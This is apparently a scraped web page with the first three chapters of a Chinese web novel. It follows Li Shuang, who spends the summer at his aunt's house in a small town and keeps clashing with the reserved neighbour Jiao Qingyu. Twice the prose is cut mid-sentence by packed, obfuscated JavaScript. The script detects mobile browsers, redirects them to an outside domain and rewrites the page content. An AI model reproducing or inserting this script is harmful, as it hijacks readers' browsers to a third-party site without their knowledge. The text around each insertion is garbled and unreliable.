《和死对头那个了》 1. 春光作序 少年的喜欢,是在春天序幕里亲吻的一首诗。 第一章 夜色如墨,几盏路灯散发着昏黄的光,街道内侧的小巷隐没在浓重的阴影里。 突然,巷中传来重物撞墙的闷响,夹杂着微弱的哀嚎。 几个染着荧光色头发的小伙子歪七扭八地躺在地上,衣服沾着不少垃圾桶里的剩菜,散发腐肉的臭味。 在他们的中间,站着一位穿白色连帽衫的男人。 他从容地点了根香烟,打火机的火光划过他的面容。单双不一的眼型,瞳仁黑得像深潭;鼻梁高挺,薄唇抿成下降的线。 整张脸透着股漫不经心的乏味,连眼底的倦意都懒得遮掩。 “我操……” 红毛骂骂咧咧地抬头,帽衫男蹲到他面前,吐出的烟雾直直扑在他的脸上。 “咳咳……”红毛被烟呛得直咳嗽,身体哆嗦,“钰哥我错了……咳,我当时真是脑子抽了!再也不说了真的!” 帽衫男的指尖弹了弹烟灰,声音不带一丝起伏:“那件事不说了,那今天的事呢?你们准备说吗?” 其他人死命摇头。 帽衫男缓缓站起身,烟灰随意地掸到红毛的手背上,不屑地冷呵:“钱、烟留下。活着的,滚。” 话音刚落,刚才还装晕的几人迅速爬起来,跑到巷口才丢出一包红色塑料袋和烟盒。 帽衫男揣起袋子,打开碎屏的手机发送消息。 就那么一瞬间,他的眼神还算柔和。 发完消息,他碾灭烟头,走向空荡的公交站。 几分钟后,一辆黄色公交车停下,帽衫男头也不回地跨步上车。 车门关闭,灯影重重倒退,车辆驶入流动的黑暮中。 大巴车缓缓驶出漆黑的隧道,连绵起伏的碧蓝山峰如同巨浪般扑面而来。 阳光在刹那间刺穿历霜的眼皮。 他微微皱眉,换了个手撑下巴的姿势继续看窗外的风景。 远处,两三座低檐红瓦房隐藏山间,好像水灼青菜里的小米辣。 这辆从泉菀市火车站出发的大巴车,在三十九度的夏日下行驶了一个小时,终于在中午抵达多溪镇汽车站。 一下车,热浪扑面而来,背着小提琴箱的历霜毫不犹豫选择打车。 由于目的地太近,都没到起步价,司机就收了他四块钱。 汽车扬长而去,历霜站在自建房的大门前整理仪表,不料行李箱“哐当”磕到门板,酒红色的铁门应声而开,露出内里两层楼的房屋。 历霜只能猫着腰走进院子,小心地问:“有人吗?” 结果人没有,狗倒是有一条。 原本躺在阴凉处休息的小黄狗瞬间站起,冲历霜龇牙大吼:“汪!汪汪!” 它往前扑,脖子挂着的锁链猛地拉直,勾得小黄狗前腿悬空,只能不停叫唤。 历霜一点也不怕,甚至走到离铁链拉直差两步的位置,弯腰挑衅:“灯笼你怎么咬不到我呢~来呀~” 灯笼气急了,前爪拼命刨地,冲他又叫又跳:“汪汪汪!” 历霜还想再调戏两下,一位卷发女人从里屋冲出来,捋着袖子狂骂脏话:“他(汪汪)的!哪个(汪)小偷敢来我家偷狗!看我不打死你!(汪汪汪)!” 狗叫声像给她的脏话消音似的,刚好盖过每个脏字。 “姑妈好,”历霜直起身子,露出优雅的微笑,“还是那么有精神啊。” 女人瞬间绽开笑脸,张开双臂扑过来:“哟——狸狸你来了啊!” 这位川剧变脸的女人是历霜的姑妈,他继父的二姐——芳沁。 这位姑妈原本也住在上海,后来受不了快节奏、照顾废物老公的生活,等儿子高考结束,也就是三年前,她离了婚搬过来养老,一直住到现在。 家庭群里十几个亲戚说芳沁拿离婚当儿戏,只有历霜一家给她点了赞,所以他们家和芳沁关系不错。 芳沁很爱掂量历霜,每次见面都会把他抱起来比对上次的体重。 现在历霜长的太高了,芳沁也抱不起来,两人简单拥抱了一下就松开了。 芳沁直拍历霜胳膊,高兴地说:“不错嘛,你又长高了啊?身子也壮了不少。” “灯笼也大了很多,来我家的时候才这么大,”历霜用手比划小时候的灯笼,“现在都不认识我了,一直对我叫。” “你多喂几次就又熟了,它就是喜欢叫,让他咬人就哑火了,”芳沁笑呵呵地摸着灯笼的脑袋,灯笼蹭她的手。 两人又聊了几句家常,芳沁带历霜去二楼看卧室。 卧室布置得很简单。软垫床躺在衣柜旁边,铺着蓝色的被单;再是木质书桌,顶上挂着小型书柜。 清一色的木色,看着简约又温馨。 接下来分工明确,芳沁去做中饭,历霜整理行李。 历霜手脚麻利,半小时理完行李,还顺便冲了一个澡。 面对历霜理得像酒店那样干净的卧室,芳沁反而不怎么开心。她微微皱眉,担忧地看着历霜:“你的洁癖不会……” 吹完头发的历霜停下吹风机,张开了双手:“放心,已经好很多了。你看,我到现在就洗了一次手,都没红。” 芳沁眼看确实没红,这才放下心,推着历霜下楼吃饭。 一楼主客厅的地面是古旧的水泥地,结果软装都是高科技。 冰箱智能感应、窗帘电灯有遥控器,就连扫地机器人也是最新款,它绕过历霜的脚,自动回到充电桩待机。 “姑妈,你一人得抵十几家的电表吧?”历霜笑道,“都能开展了。” “这里的电费又不贵,”芳沁指着厨房,“来,搭把手。” 他们把厨房的饭菜搬上餐桌,四菜一汤,都是历霜爱吃的菜。 历霜吃饭斯文得不行,哪怕吐骨头也会先垫一张餐巾纸,再捧着碗吃饭。 他边吃,边发好友圈:七月四日,七点到达上海南站,九点三十到泉菀市火车站,换乘大巴车,十一点到多溪镇,累得要死,但大扫除解压了,爽。【图片】 “狸狸啊。” 历霜闻声抬头。 就在这瞬间,芳沁摁下手机拍照键。 照片里,历霜嘴里含着一口米饭,茫然地看着镜头。 历霜俊朗得恰到好处,微卷的头发泛着深棕色的光,右眉尾有一处肉色的隔断,杏眼炯炯有神。 他的身材板正,审美也好。白色的短袖外罩着白衫,当下最流行的水洗牛仔裤,裤腿遮着帆布鞋,阳光又青春。 “干嘛?”历霜不解地问。 “跟你妈说一声你到了。”芳沁把照片发给历如宜,不到几秒钟,对方就回复了。 【弟妹】:麻烦姐姐照顾啦~尽量不提复读的事哦~要是对你不礼貌,你跟我说,我教育他。【比心】 【芳沁】:我又不是那几个人,我们俩和谐着呢。 芳沁抬起头,顺手给历霜夹了块肉,顺嘴问:“那几个人没再找你事吧。” 历霜摇了摇头,盯着那块肉说:“他们想找也不敢啊。” 他们俩说的是和历霜家闹僵的大伯一家。 事情起因是五年前过年,大伯家小孩偷拿了历霜的玩具不肯还,大伯还打马虎眼,让历霜别跟小孩斤斤计较。 历霜当天就在几十人的家庭群里at大伯一家,问他们:“你们家小孩上学没学着知识,就学了个偷窃?我不是他老师,教不了狗做人。” 这话一出,大伯家一下子毛了。 五个长辈在群里轮流教育历霜,结果全被历霜不带一个脏字地炮轰回去,没一个说的过他的。 这件事让两家彻底决裂,也让历霜一战成名,再也没有亲戚敢惹他。 “你说奇怪不奇怪,我反倒因为这件事才对你有好感的,你妈说你要找地方住,我当即就答应了。”芳沁感叹着,夹起一颗西蓝花。 “啊?那之前你对我的好都是假的啊,”历霜攥着胸口,做出被人捅了一刀的表情,“原来只有我是真心。” 芳沁笑了起来:“你看你又演上了!” 话音刚落,手机传来震动声。 芳沁看了眼短信,放下筷子跑进厨房,出来时手里捧着个铁盆,叫历霜跟她走。 历霜不明所以地起身,才发现芳沁捧着红油串串,大概二十多串。 芳沁猜到他要问什么,边走边解释:“给咱们对门邻居小钰,他给我发消息说他回来了,就我经常发群里的年级第一的学霸。” “学霸……哦。”历霜想起来了。 芳沁经常在群里发过有关这个人的事,啥时候班级第一,啥时候年级第一,和跟踪狂似的。 只不过她一直没说名字,都是用“那小孩”代替,所以历霜不记得了。 “学霸家”的铁门是有点生锈的灰色,二楼房顶上挂着一块不知道是布还是旗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207999|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的东西。 历霜正眯着眼睛推测,旁边的芳沁哐哐拍门,冲里头喊:“小钰!是我!芳姑!” 不过十几秒,铁门缓缓打开。 开门的是一位穿着蓝色外套和及膝工装裤的男生。 历霜有些吃惊,因为男生挺帅的。 脸型线条流畅到没有一处多余的肉,鼻梁高挺,眼睛很有特点:左眼是双眼皮,右眼远看像单眼皮,实际上是好看的内双;下巴和锁骨处有结痂的挫伤,显得他劲劲的。 他们俩身高相似,肤色相似,但历霜总感觉男生的眼眸更沉黑,像阴雨天的森林。 就是头发拉低了男生的颜值,前面的刘海跟狗啃过似的,碎碎地停在淡眉上,跟刺猬似的。 “芳姑好,”男生的声音挺淡的,“他是……” “这是我侄儿历霜,来这过暑假,”芳沁戳了戳历霜的胳膊,“这位就是小钰,你之后可以找他玩。” 历霜顺着芳沁的话伸手,微笑着说:“你好,我是历霜,这几天多担待了。” 男生握住他的手,历霜指尖触到对方手背上细密的擦伤,只听他回了句:“你好,我是焦青钰,这几天多担待。” 历霜此刻已经觉得不对劲了,但还是继续介绍自己:“我十八,复读。” 对方也开口:“我十八,高三。” 历霜:“……” 历霜:“我喜欢玩消消乐。” 对方:“我喜欢玩叠叠乐。” 历霜:…… 这哥们……有病啊? 旁边的芳沁全然不知历霜的想法,笑眯眯地递出铁盆:“呶,这是上次我答应你的串串。你要不要跟我们一起吃饭啊?” 趁着芳沁说话的空档,历霜抽回手,观察对面的反应。 焦青钰面无表情地接过铁盆,轻轻摇头:“不用了,我还要学习。” 芳沁眉头一下子皱起,声音严肃了点:“你可别学到后面又忘了吃饭。” 焦青钰顺从地点头。 芳沁表情微好,又聊了两句最近发生的事,这才拉着历霜离开。 历霜回头时,焦青钰的衣摆已经消失在门后,“呯”的一声,门板毫无留恋地合上。 历霜回家先洗手,再重新坐回饭桌。 等芳沁也坐下,他慢悠悠地问:“你干嘛对他这么好?” “他年纪小啊,”芳沁舀着汤,“而且又乖又懂事又有礼貌,谁不喜欢啊。” 历霜:“……” 前三个点没看出来,倒能看出来像个人机。 “那你把他收了当养子,”历霜开始胡说八道,“也让我那表哥有危机感。” “你当他是阿猫阿狗啊,说收就收,人家爸妈只是出去打工了,又不是没有,”芳沁给历霜夹了块鱼肉,“你看他的伤了没,指定是那些小混混看他爸妈不在又欺负他了,唉……每次我问他都说没事,怪懂事的。” 历霜怀疑芳沁再说下去就要说哭了,先递了两张餐巾纸过去,轻快地说:“你观察的那么清楚,难道真有收养的想法啊?” “哎哟你这人,”芳沁立马笑了,拍了一下历霜的手背,“说不过你行了吧,吃饭。” 午饭过后,多溪镇开始下雨。 芳沁去打麻将,历霜看了一下午的电影,晚饭后又躺在床上玩消消乐。 等所有体力清空后,历霜从床上弹起,下楼拿了把伞,推门走进了雨里。 他像是在这里住了十几年那般熟络穿过两条巷子,来到拉下卷门的菜场门口。 这条小型上街,现在只有宵夜馆和麻将室开着,灯牌倒影在水洼里,屡屡被雨珠打碎。 历霜逛了一圈发现没什么有意思的,准备原路返回,结果不小心踩进了小水洼。 看着湿了一点的鞋头,历霜不悦地“啧”了声。 再次抬头时,雨伞往一处倾斜。 夜幕下,曾经见过的蓝色外套出现在马路对面。 焦青钰撑着绿色的伞,手提塑料袋,长腿踩着拖鞋,慢悠悠地拐弯。 “小钰?”历霜学芳沁那样喊他。 对面的人停下来,循声转头。 历霜很确定,焦青钰看见了他。 但焦青钰别说回话,停留的时间都没有雨落下的时间长,就转身继续往前走了。 历霜站在原地,看着那把雨伞远去,嘴角扯出一个无语的笑容。 这是装没看见? 2. 春光作序 历霜回家时,特别注意了焦青钰的铁门,外头的插销锁得死死的。 看样子没有回来。 不过芳沁倒是回来了,她抱着灯笼坐在藤椅上盯着挂下来的水珠,嘴里念叨那张二条不该打出去。 历霜经过芳沁侧边时,她又开口了:“你明天什么打算?” “随便转转吧,”历霜随意地回答,“说不定能捡到钱。” “你真是梦到哪句说哪句,”芳沁笑起来,眼睛又突然亮了,“对咯,你可以跟小钰一起逛逛啊,他熟悉路。” 历霜拿杯子的手顿住了,果断摇头:“他就算了吧。” 芳沁的藤椅后倒,扭头看他:“怎么了?” “……没什么。”历霜最终没说焦青钰不搭理人的事。 他喝完水后看了眼时间,和芳沁道了别,回卧室打开平板的“今学题”。 这个答题软件是原班主任马老师推荐给他们的,里面概览了几十个地区的题目,甚至联赛题都有。 其他同学高考后就卸载了,现在只剩下他在刷题。 想到这样的苦日子还得过一年…… 历霜重重叹气,点开自己的进度条。 物化政三门的曲线在90分以上平稳成一条直线,语数英的线条却构成“凹”字。 旁边有一行提醒:【数学是你薄弱项哦~加油~】 其他学校的同学早在论坛里吐槽过这句话,称之为阴阳系统。 谁不识字还是怎么着?用得着它提醒啊? “薄弱项哦~”历霜阴阳怪气地学了一遍,拿起电子笔开始做题。 窗外黑成一片,淅淅沥沥雨声与笔触相伴,他倒是挺喜欢这场天然的as.mr。 晚上十一点,做完题的历霜冲了个澡,将要换的衣物整齐地放在椅子上,这才安然入睡。 第二天,历霜出去逛了一圈,回来的时候遇到去打麻将的芳沁,芳沁带他去隔壁李二嫂家。 打麻将的邻居们都是大叔大婶,对历霜很亲切,听他说要四处玩,立马为他规划游玩行程。 什么有萤火虫的“萤风山”,比如溪水澄澈的“登渐桥”……足足十个地方。 说累了的李二嫂喝了口茶,抬眼问在写备忘录的历霜:“你想好明天去哪里了吗?” “嗯……”历霜思考着,指尖点在其中一行,“去东街口吧。” 东街口是多溪镇的小集市,从早热闹到晚上,卖各种东西,而且价格很低。 恰好七月六日这天的天气不错。大朵大朵的白云悬在湛蓝的天幕上,远远望去好似一座雪山。 “雪山”下,是沿街道铺散的凉棚。 此起彼伏的叫卖声里,高矮不一的人影在棚下挑选货品;油锅里滋啦作响的油条新鲜出炉,菜摊上新鲜无比的果蔬还沾有水珠,谈价的方言声此起彼伏。 历霜刚吃完葱油饼,微信便传来消息提醒。 他擦干净手,点开茂文德的对话框。 三条长达一分钟的语音。 “……” 历霜两眼一黑,还是戴上蓝牙耳机,只听了最后一条。 耳机里,茂文德粗犷但平翘舌不分的声音响起。 “不是,历霜geigei你人呢?我到你家门口了,结果管家说你去旅游了?你爸妈不都在吗,你一个人怎么旅游?土豆说你不在上海的时候我还不信,你什么时候走的?去英国还是冰岛了?怎么不叫我?” 还冰岛,吃冰棍都难。 历霜走进小超市,吹着空调风回消息。 【雪球】:我在卧薪尝胆呢,你没看我前天的好友圈? 对方立马回复。 【狗哥】:包意思,我刚看到。 【狗哥】:你真要复读啊? 【雪球】:真的,成绩不都出了,一本变大专【踢石子表情】 对方应该是愣了,半天没发消息。 历霜趁这功夫买了一根冰棍,从超市出来,边走看消息。 【狗哥】:我还以为你复读是为了吃学校复读生的奖学金呢。心态炸的这么离谱啊? 【雪球】:你也跟他们说一声,别跑空了 【狗哥】:没事,反正叔叔阿姨会请我们看电影的~~嫉妒吧~羡慕吧~ 【雪球】:我开学能和老班说你坏话,你能吗? 【狗哥】:?不是 回着回着,历霜抬头发现他已经从东街口走到一条叫天目路的街道。 没走几步,他看见一个小男孩杵在路中央,手里攥着羽毛球拍,仰着脑袋瞅彩票店的突出的屋檐。 想买彩票?不对。 历霜几步走过去,站到小男孩旁边。一大一小俩身影就这么并排仰着脖子,画面还挺逗的。 对话也挺逗。 大的问:“羽毛球掉上面了?” 小的答:“嗯。” 大的又问:“要我帮你吗?” 小的点头:“嗯。” 大的看向旁边的五金店:“那你在这儿等着。” 小的立马站直了:“嗯。” 没一会儿,历霜从五金店出来,手上套着深蓝色橡胶手套,一手拎着矮梯,另一只手攥着根铁棍。 他踩上小梯子,举起长棍扫过屋檐。 “哒”一声,裹着点灰的羽毛球掉出来,在地上滚了半圈。 “别用羽毛球拍了,小心飞马路上。”历霜说。 小男孩急忙捡起羽毛球,冲历霜鞠躬:“谢谢,大哥,哥,哥。” 听着连说的三个“哥”,历霜眉头一皱。 他走下梯子,低头检查小男孩。 小男孩看着不过三年级,小麦色的皮肤上两坨高原红。洗得发白的T恤袖口卷着边,虽有些皱却没污渍。 很好,没有被欺负的痕迹。 历霜眼睛微眯,声音柔和了一点:“你爸妈呢?不怕你被抱走啊?” “我家,就,就在那边,不怕我,我被抱走。”小男孩指向马路对面的理发店,“这一条街的,老,老板都认识我。” “那你怎么不让彩票店老板帮你?”历霜问。 “因为,他,他在午睡,”小男孩神色认真,“而且,我等,等的大哥哥,就,就要来了。” 历霜看着他,笑了笑:“大哥哥?你还有忘年交呢?” 小男孩点头,摸着羽毛球嘟囔:“嗯,他,他是爸爸妈妈的客人,教我学,学习,还帮我赶走,走,坏人,来我们家,家,理发就不收,收钱了。” 历霜指尖点着下巴,突然问:“那个大哥哥有我帅吗?” 大概是历霜自恋地浑然天成,小男孩丝毫没觉得不对。 反而歪着脑袋认真思考起来,最后用力点头:“跟,跟你一样帅。” “你可真会说话,”历霜笑起来,揉了两下小孩的头发,“既然事情搞完了,我就先走了。” 他拎起梯子转身,没走几步路,小男孩蹿到他面前,鼓足勇气询问他:“哥哥,你,你叫什么?住,住哪里?” 历霜停下,冲耳朵发红的小男孩眨了下眼:“等下次遇到了,我再告诉你吧。” 小男孩怯生生点头,往后退了半步。 他望着这位不留名的大哥哥走进五金店,又静静看着他走出来,头也不回地继续前行。 高大的背影就这么消失在拐角,被清晨的薄雾带去不知名的地方。 小男孩不再用拍子,改用手抛羽毛球。 在他抛第八次的时候,羽毛球偏离轨道,不偏不倚落在一双白色球鞋边。 一只骨节分明的手捡起羽毛球,比这双手更好看的是来人的脸。 不同于刚才那位张扬的俊朗,这位男生眉眼生得清秀。穿了件洗得有些发白的蓝衬衫,露出一截细瘦的手臂。 男生的声音很淡,淡的像水一样清冽:“李丰月。” 李丰月就在等这个声音,他咧开嘴笑,迈着短腿跑到人边上:“钰哥哥!” 焦青钰半蹲下身,用纸巾擦去他脸颊的灰渍,顺势拿过羽毛球拍:“不要在街上打羽毛球,很危险。” “我,我知道了……”李丰月也不嫌热,抱着焦青钰的脖子撒娇,“还有,刚,刚我……” 他断断续续地讲述刚才发生的事,说话间时不时瞥向焦青钰。 焦青钰和往常一样,没有任何表情,但同样没有任何催促,还时不时给他擦汗。 等李丰月磕磕绊绊地说完了刚才发生的事,焦青钰才开口问他:“那你谢谢他了吗?” 李丰月乖乖点头。 “那就行,”焦青钰站起来牵住他的手,“我们走吧。” 他们沿着这条路走了没一分钟,拐进小区,来到一家叫“钟意里”的店门前。 他们推开门,风铃“叮铃”一声轻响,暖黄的灯光下,大大小小的书架堆着整齐的书籍,窗边留着供人看书的桌椅。 书店的老板姓方,是一位留着卷胡子的古怪老头,此刻正在磨咖啡豆。 这两人进来了,他头也没抬地招呼:“你们来啦,老样子随便坐。” 焦青钰牵着李丰月走到窗边的双人桌,从包里拿出习题,让李丰月先做题。 自己则戴上眼镜,开始找书。 焦青钰转了一圈无果,折回来问老板:“《风声》呢?” “最新一期?”方老板笑了,“刚被一个初中生买走,明天再来,我给你留着。” 焦青钰哦了一声正要走,方老板又指着自己的眼睛问:“钰啊,你不戴眼镜,看得清路吗?” “看得清路,看不清人。”焦青钰如实回答。 “那你还是戴眼镜吧,”方老板笑着说,“要是有人叫你,你自顾自走了,到时候又说你不搭理人。” 焦青钰笃定地摇头:“不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208000|181326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,认识我的都会来我面前叫我。” 说起来,昨天晚上买挂面的时候,他好像听见有人叫他名字,但就出现了一次。 应该是幻听了。 毕竟能叫他“小钰”的人,都知道他晚上跟半个盲人一样,不会隔那么远叫他。 焦青钰转身回座位,给写完的李丰月讲题。 李丰月开始认认真真地写了,焦青钰拿出手机看短信。 最上头是陌生来电的消息:【焦青玉你有没有良心?你舅是对不起你们但他好代是你的长辈,说你几句由错吗?你哥本来就十短命鬼,应海说错了吗?】 焦青钰都懒得点看,以他对那群亲戚的了解,这段话前面必定堆着一大串为他舅舅焦应海张目的骂声。 真是傻叉跟傻叉的心心相惜。 他面无表情地回过去:【他算什么东西敢骂我哥?你又算什么东西教育我?】 【一段话四个错别字,字里行间一股傻x味】 【再管闲事我就送你去焦应海隔壁床】 发完,直接拉黑。 “钰哥哥,我,我写出,这这题了!”李丰月开心地点了点焦青钰, 焦青钰放下手机,像没事人一样开始检查题目,完全看不出他刚刚发了好大的脾气。 他摸了摸李丰月的脑袋,声音淡淡的却很轻快:“真的做对了,丰月很聪明。” 原本紧张的李丰月立马扬起笑容:“钰哥哥真,真,好!” 焦青钰的手一顿:“……继续吧。” 课程持续到中午十二点,焦青钰送李丰月回理发店,再顶着猛烈的太阳回了家。 他今天的中饭是挂面,挂面从清水理捞出,拌入昨天芳姑送他的红油,再去院子里拔两根葱,撒在面上,中饭就算完成了。 焦青钰坐在客厅慢慢吃着,老式电风扇“吱呀”地斜转着脑袋,热风从他的袖口钻进去,又从衣摆溜出来。 没了短信骚扰,他感觉世界都清净了不少。 十几分钟后,最后一口面下肚,焦青钰收拾好碗筷,转身回了卧室。 他的卧室简单干净,除了木质的床、书桌、衣柜,剩下最多的东西就是墙上的奖状,红底金字,泛着淡淡的光。 焦青钰坐在书桌前,先摊开每日账本,翻到很后面才找到今天的日期,写下:挂面2元;每月电费82元。 他再打开班主任多给他的习题,笔尖划过纸张的沙沙声,成了房间里唯一的动静。 窗外时而阵阵燥热的蝉鸣。 一声接一声地,像是要溺毙在这漫长的夏天里。 “叮叮叮——叮叮叮——” 当焦青钰听见手机铃声时,窗外蔚蓝的天空早已染上朝霞的绯红。 他看了眼桌上的时钟,18:21分,他写了五个小时。 焦青钰打开破损的手机,点了接听键。 电话那头很嘈杂,大声喊着:“钰哥你快出来玩滑板~山鸡二牛都在。” “做题,没空。”焦青钰摘下眼镜,揉搓双眼。 电话那头瞬间传来几个人的哀嚎:“钰哥求你别写暑假作业了!你出来玩吧!” “在刷新题。”焦青钰冷冷地重复。 对面又在哀嚎:“钰哥别学了——” 这时,有人说:“你这办法不行,让我来。” 焦青钰听出来这是赵益和的声音,冷酷地拒绝好朋友:“你来也没用。” 赵益和清清嗓子:“钰哥,我整了我姐的习题复印件,你过来我给你。” 焦青钰:“……位置。” 手机里传来一阵欢呼声,急急忙忙告诉他小广场的位置。 焦青钰套上外套,正要走时,扫过桌上的香烟盒。他盯着看了几秒,最后还是抓起香烟,塞进了口袋里。 焦青钰也不知道怎么能那么巧。 他刚出门,就遇到遛狗的芳沁和她那个城里的侄子。 历霜穿着白色冲锋衣外套,内搭是米黄色的短袖,宽松的黑色运动裤遮住鞋底。 他背手站在芳沁身后,抬头看着朝霞,嘴里念念着:“真漂亮啊。” “吃过晚饭了吗?”焦青钰听见芳沁这么问。 他怕芳沁又为自己着急,下意识撒谎:“吃过了。” 芳沁又问:“你要去哪里呀?” 焦青钰攥紧手机,如实回答:“小广场,找赵益和他们。” 话音刚落,芳沁猛地将旁边的历霜往前一推。 正对着天空出神的历霜毫无防备,踉跄着往前冲了两步,站稳时,刚好对上一双暮黑色的眼眸。 两人对视着没说话,只听芳沁笑嘻嘻地说:“那正好,让他跟你一块去呗,都是同龄人,多熟络熟络。” 历霜刚要开口拒绝,耳边响起平静无波的声音:“好。” 历霜不由地挑眉,目光扫向焦青钰。 好? 3. 春光作序 焦青钰静立着,像株挺拔的翠竹,自带雪岭般清寂的气质。 晚霞的漫天红意落在他身上,他岿然不动,仿佛刚才那句“好”并非出自他口。 历霜又不是傻子。前天的不搭理人,和今天打招呼时特地略过他,都能看出焦青钰并不欢迎他。 所以为什么答应的这么快? 他正琢磨着蹊跷,芳沁已经眉开眼笑地叮嘱他们要注意安全了。 “你好好玩,别走丢了啊,姑妈先走了。”芳沁牵着灯笼潇洒离去,压根不给历霜拒绝的时间。 历霜在原地无奈地叹气,只能跟焦青钰去小广场。 傍晚的暑气褪了些,却还闷在空气里,像层湿棉絮裹着人。 远处山峦浸在火烧云里,橘红与金紫泼洒得漫山遍野,把黄土路上的两人影子拉得又黑又长,贴着人的步调摆动。 焦青钰走的这条路与历霜早上的方向相反,右侧是望不到头的田野。 历霜拍视频,用上海话做旁白:“旁友们,呀快斗好,这里是多溪镇,这篇田漂亮吧,感觉下一秒就能钻出一头野猪。” 手机转了一圈,转回来时拍到了焦青钰的侧脸。 焦青钰刚张开嘴巴,历霜立刻截断:“就一秒,我在拍你后头。” “……哦。”焦青钰伸进口袋,掏出了一副没有镜盒的黑框眼镜。 他用衣角擦了擦镜片,随后戴上,包了一层创口贴的左镜腿卡在耳朵上。 相比眼镜直接塞口袋里这件事,焦青钰竟然是近视眼这个消息更让历霜惊讶。 不过历霜没问,他不想硬找话聊。 于是他们俩除了这段对话,之后就再也没说过话了。 再走几分钟,历霜远远看见一片空地,上头有好多晃动的小黑点。 就在这时,一位穿亮黄色 T 恤的寸头男生朝他们奔来,不停地挥动手臂。 这位寸头男比他们俩都要矮瘦,他用扫帚杆一样的胳膊揽过焦青钰的肩膀。 “还得是咱们钰哥啊,就是效率!”寸头男声音意外有些粗,他夸完才注意到旁边的历霜,尴尬地收回胳膊,“你是?” 历霜微微低头,像平时那样自报家门,名字、年龄,还有出生地。 就差背身份证了。 寸头男听见“上海”两个字,将焦青钰拉到一边,小声问:“他是城里人啊?钰哥你不是对城里人……” 寸头男自以为小声,实际上历霜听得一清二楚,但他盯着旁边的杂乱又滚圆的后脑勺,没有说话。 刺猬脑袋微微晃动,声音毫无起伏:“芳姑的侄子。” “难怪,”寸头男立马懂了,又啧了一声,“不是,你真不拒绝你那些邻居啊,他们下次让你带小孩来你也带啊?” 焦青钰没回答这句话,用胳膊肘怼了一下寸头男:“你还没说你自己。” “诶唷我的肾,”寸头男捂着侧腰,这才转身,冲历霜露出带褶子的笑容,“我是赵益和,钰哥的好基友,咱俩小学就认识了。” 历霜礼貌地点头:“你好。” 赵益和对历霜的眉毛很感兴趣,他摸着自己的眉头问:“哥们你这断眉挺帅啊?多少钱搞的?” “三千。”历霜秒答。 那俩人明显顿住了,赵益和震惊地张大嘴巴:“三千?!要死啊这么贵!你被诈骗了吧?!” 历霜掰着手指说:“玻璃划破清创五百,无疤缝合手术四千五,医保报销了两千。” 赵益和:“……那没事了。” “东西给我。”焦青钰懒得听这段弱智对话,摊手先要复印件。 赵益和对着天吹了声口哨:“啥东西啊?俺不造啊,嘘嘘~。” 焦青钰一句话没说,转身就走。 赵益和赶紧拽住焦青钰的胳膊:“诶诶别走!跟你开玩笑呢,玩完再给你。” 赵益和刚说完,又冒出几个男生围上焦青钰,七嘴八舌地讲着话。 焦青钰从头到尾没说一个字,被他们拥着往广场走。 历霜跟在他们后面,像逛街的大爷那样优哉游哉地背着手。 其中一位小胖子像导游一样,热情地向历霜介绍这里。 他说穿过两个街区有个大广场。大广场是离这儿十多公里多,有百货商店;而这个小广场空地多,价格低,学生党常来。 历霜扫视一圈,发现果真如此。 小广场中央有专门为滑板准备的空地,外头围着铁栏,六七个人在里头玩滑板;围栏外是路灯点缀的绿草坪,几只土狗在草地上打滚。 再走个一百米就是小吃摊,挂着各色霓虹灯,历霜站在这里都能听见钵钵鸡的广告语。 他们走到滑板区外的长椅旁,其中一人拿出两块滑板:“开始排序了啊。山鸡第一个,第二个谁啊?” 赵益和举手:“我吧?我先来。” “行,那二牛第二,我第三。” …… 历霜自动退出讨论,最后被分到倒数第二,不说的焦青钰则是最后。 赵益和打量历霜:“你会吗?” “嗯……”历霜微微弯起眼睛,“一般。” “没事,我们也只会一点花的,”赵益和拍拍胸脯,“不会的话哥教你。” 他们所说的“花”,就是几个Manual和ollie。这些算是滑板的入门,之后的动作基本都是以这个为基础。 前面几个人动作也算潇洒,失误了就互相探讨,再来一次。 焦青钰跟候场区的教练似的,平时抱臂围观。 要是有人失误了,他就会说一句哪里有错,那些人跟着他的话进行更改。 “老教练啊。”站后面的历霜开玩笑。 “他可不止这个好,”赵益和像自己被夸了似的,得意地炫耀,“咱们钰哥可是全能型人才。” 历霜笑了笑,没说再回答。 大家滑一阵歇一阵,肚子饿了就去买东西吃,回来接着聊。 在等待的四十分钟里,历霜又吃了一顿加餐。 “到你了。”前一个人抬脚把滑板踢给历霜。 历霜二话没说踏上滑板,脚下稍一发力,滑板便载着他冲向滑板区。 风擦过耳边,眼前没有高楼大厦、一览无遗的晚霞。 真舒服。 历霜惬意地闭了两秒眼,随后微屈膝盖蓄力,后脚猛地踏向板尾。 “啪嗒——” 历霜整个人随滑板猛地弹起腾空,板身在半空翻转一周稳稳落回,而他的双脚精准踩在板面,稍微有点晃动。 历霜吹了一声口哨:“帅。” 他单手插兜,再滑出几步,又将这个动作重复一遍。这次他做的更好,一点也没晃。 懂行的人都知道dolphin flip一次性做成功的含金量有多高,他连做两次,引得路人隔着围栏拍视频。 换作别人早就压低帽子羞涩躲开了,偏偏这人是历霜。 这位社团活动、元旦汇演、班级选拔自愿报名表演的顶级社牛——历·Liro·霜先生曾说过:“我都帅成这样,再不展示就是浪费资源。” 历霜径直滑到镜头前,和透过栏杆的手击掌。 那些路人瞬间来劲,冲他吹口哨起哄。小广场一时热闹,跟明星见面会似的。 历霜确实很出挑,哪怕广场上有好几个在滑板的,也能一眼看见他。 